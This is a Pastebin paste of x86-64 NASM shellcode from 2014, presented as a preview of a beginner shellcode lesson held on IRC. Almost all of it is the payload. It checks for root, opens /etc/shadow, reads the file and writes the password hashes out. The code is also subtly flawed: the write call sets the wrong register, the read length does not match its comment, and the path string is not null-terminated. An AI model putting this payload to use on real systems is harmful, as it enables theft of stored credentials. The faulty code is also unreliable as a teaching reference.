Madmouse

the 64bit shellcode lesson preview

Sep 10th, 2014
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;
  2. ; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
  3. ;
  4. ; ----------------------------------------------------------------------------
  5. ; "THE BEER-WARE LICENSE" (Revision 43):
  6. ; <[email protected]> wrote this file. As long as you retain this notice you
  7. ; can do whatever you want with this stuff. If we meet some day, and you think
  8. ; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  9. ; ----------------------------------------------------------------------------
  10. ; 64bit call: rax args: rdi, rsi, rdx, r10,  r8, and r9
  11.  
  12. [bits 64]
  13. section .text
  14. global _start
  15. _start:
  16. ; getuid16(void);
  17.     xor rax,rax
  18.     mov al,0x66
  19.     syscall
  20.     xor rdi,rdi
  21.     sub rax,rdi
  22.     jnz exit
  23. ; open("/etc/shadow", O_RDONLY);
  24.     xor rax,rax
  25.     mov al,0x2
  26.     jmp short shadow
  27.    
  28. load_shadow:
  29.     pop rdi
  30.     xor rsi,rsi
  31.     syscall
  32. ; read(%rax, %rsp, 0xffff);
  33.     mov rdi,rax
  34.     push rdi
  35.     xor rax,rax
  36.     mov rsi, rsp
  37.     xor rdx,rdx
  38.     mov dx,0xfff
  39.     syscall
  40. ; write(1, %rsp, %rax)
  41.     mov rdx,rax
  42.     xor rax,rax
  43.     mov al,0x1
  44.     xor rdi,rdi
  45.     mov bl,0x1
  46.     syscall
  47. ; close(%rdi)
  48.     xor rax,rax
  49.     mov al,0x3
  50.     pop rdi
  51.     syscall
  52.  
  53. exit:
  54. ; exit(0);
  55.     xor rax,rax
  56.     mov al,0x3c
  57.     xor rdi,rdi
  58.     syscall
  59.  
  60.  
  61. shadow:
  62.     call load_shadow
  63.     db "/etc/shadow"
Advertisement
Add Comment
Please, Sign In to add comment